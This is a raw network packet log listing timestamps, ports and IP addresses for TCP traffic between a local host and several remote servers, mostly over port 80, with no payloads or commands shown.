Nov 21, 2024 22:04:53.556696892 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.556726933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.556750059 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.559355021 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.559392929 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.559434891 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.559465885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.562185049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.562222004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.562278986 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.562314987 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.565053940 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.565097094 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.565134048 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.565188885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.567868948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.567883015 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.567928076 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.570642948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.570698023 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.570749998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.570784092 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.573563099 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.573630095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.573654890 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.573676109 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.576364040 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.576404095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.576474905 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.576508999 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.579145908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.579186916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.579246998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.579288960 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.581978083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.582067966 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.582092047 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.582139969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.584855080 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.584896088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.584964991 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.585010052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.587635994 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.587694883 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.587703943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.587748051 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.590550900 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.590564966 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.590620995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.593259096 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:53.593292952 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:53.593375921 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.593389034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.593400002 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:53.593427896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.593456030 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:53.593483925 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:53.593544960 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:53.593739033 CET	49880	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:53.593753099 CET	443	49880	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:53.593858957 CET	49881	443	192.168.2.7	13.107.246.40
Nov 21, 2024 22:04:53.593873978 CET	443	49881	13.107.246.40	192.168.2.7
Nov 21, 2024 22:04:53.596144915 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.596194983 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.596378088 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.596409082 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.599093914 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.599140882 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.599212885 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.599251986 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.601856947 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.601903915 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.601994038 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.602035046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.604648113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.604707956 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.604748011 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.604788065 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.607603073 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.607636929 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.607662916 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.607683897 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.610286951 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.610342026 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.610393047 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.610428095 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.613168001 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.613219976 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.613234043 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.613368988 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.615963936 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.616079092 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.616086960 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.616121054 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.619070053 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.619121075 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.619173050 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.619214058 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.621638060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.621753931 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.621773005 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.621790886 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.624504089 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.624519110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.624555111 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.627335072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.627381086 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.627624989 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.627707958 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.630147934 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.630194902 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.630258083 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.630323887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.633116007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.633176088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.633212090 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.633244991 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.635772943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.635812998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.635838985 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.635873079 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.636166096 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.636192083 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.636243105 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.636256933 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.638475895 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.638550043 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.638622999 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.638662100 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.638700008 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.638777018 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.641499996 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.641554117 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.641593933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.644313097 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.644325972 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.644350052 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.644367933 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.647102118 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.647166014 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.647233963 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.647272110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.650027990 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.650041103 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.650065899 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.650093079 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.652760983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.652812004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.652909994 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.652951002 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.655646086 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.655658007 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.655704975 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.658478975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.658493042 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.658535004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.658556938 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.661281109 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.661317110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.661401033 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.661535025 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.661750078 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.661767960 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.661778927 CET	49869	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.661782980 CET	443	49869	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.664133072 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.664149046 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.664176941 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.664201975 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.666915894 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.666987896 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.666996956 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.667032957 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.669930935 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.670001030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.670196056 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.670228004 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.703448057 CET	49882	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.703488111 CET	443	49882	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.703619003 CET	49882	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.704340935 CET	49882	443	192.168.2.7	13.107.246.63
Nov 21, 2024 22:04:53.704355955 CET	443	49882	13.107.246.63	192.168.2.7
Nov 21, 2024 22:04:53.713269949 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.713602066 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.713610888 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.713980913 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.714875937 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.714967966 CET	443	49872	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.742007971 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.742057085 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.742094994 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.742119074 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.742733955 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.742746115 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.742789984 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.742808104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.745209932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.745651960 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.746277094 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.746326923 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.747791052 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.747802973 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.747833967 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.747858047 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.750224113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.750236988 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.750277996 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.752542019 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.752619982 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.752651930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.752693892 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.754964113 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.755028963 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.755270004 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.755376101 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.757401943 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.757450104 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.758034945 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.758085012 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.759628057 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.759675026 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.759697914 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.759720087 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.760459900 CET	49872	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.761943102 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.761956930 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.762013912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.762073994 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.764123917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.764713049 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.764760971 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.766319036 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.766365051 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.766525984 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.766691923 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.767596006 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.767608881 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.767965078 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.768367052 CET	49873	443	192.168.2.7	162.159.61.3
Nov 21, 2024 22:04:53.768451929 CET	443	49873	162.159.61.3	192.168.2.7
Nov 21, 2024 22:04:53.768539906 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.768605947 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.768682003 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.768745899 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.770668983 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.770692110 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.770710945 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.770733118 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.772754908 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.772814035 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.773022890 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.773076057 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.774868011 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.774939060 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.774990082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.775032997 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.776983023 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.777021885 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.777028084 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.777061939 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.779031992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.779167891 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.779490948 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.779671907 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.781055927 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.781068087 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.781095982 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.781119108 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.783143044 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.783250093 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.783404112 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.783504009 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.785073042 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.785263062 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.785315990 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.787084103 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.787234068 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.787276030 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.789113045 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.789136887 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.789158106 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.789177895 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.791116953 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.791182995 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.791496992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.791696072 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.792973995 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.793039083 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.793076992 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.793112040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.794905901 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.794918060 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.794955969 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.794974089 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.795831919 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.795844078 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.795878887 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.796824932 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.796869040 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.797523975 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.797588110 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.797949076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.797996998 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.798331022 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.798378944 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.798757076 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.798808098 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.798896074 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.798932076 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.799675941 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.799724102 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.799885035 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.799932003 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.800702095 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.800713062 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.800753117 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.801695108 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.801752090 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.801789999 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.801971912 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.802594900 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.802608013 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.802645922 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.802663088 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.803524017 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.803633928 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.803673029 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.803706884 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.804527998 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.804600954 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.804625034 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.804662943 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.805643082 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.805694103 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.805722952 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.805757046 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.806469917 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.806525946 CET	49819	80	192.168.2.7	185.215.113.206
Nov 21, 2024 22:04:53.806528091 CET	80	49819	185.215.113.206	192.168.2.7
Nov 21, 2024 22:04:53.806577921 CET	49819	80	192.168.2.7	185.215.113.206
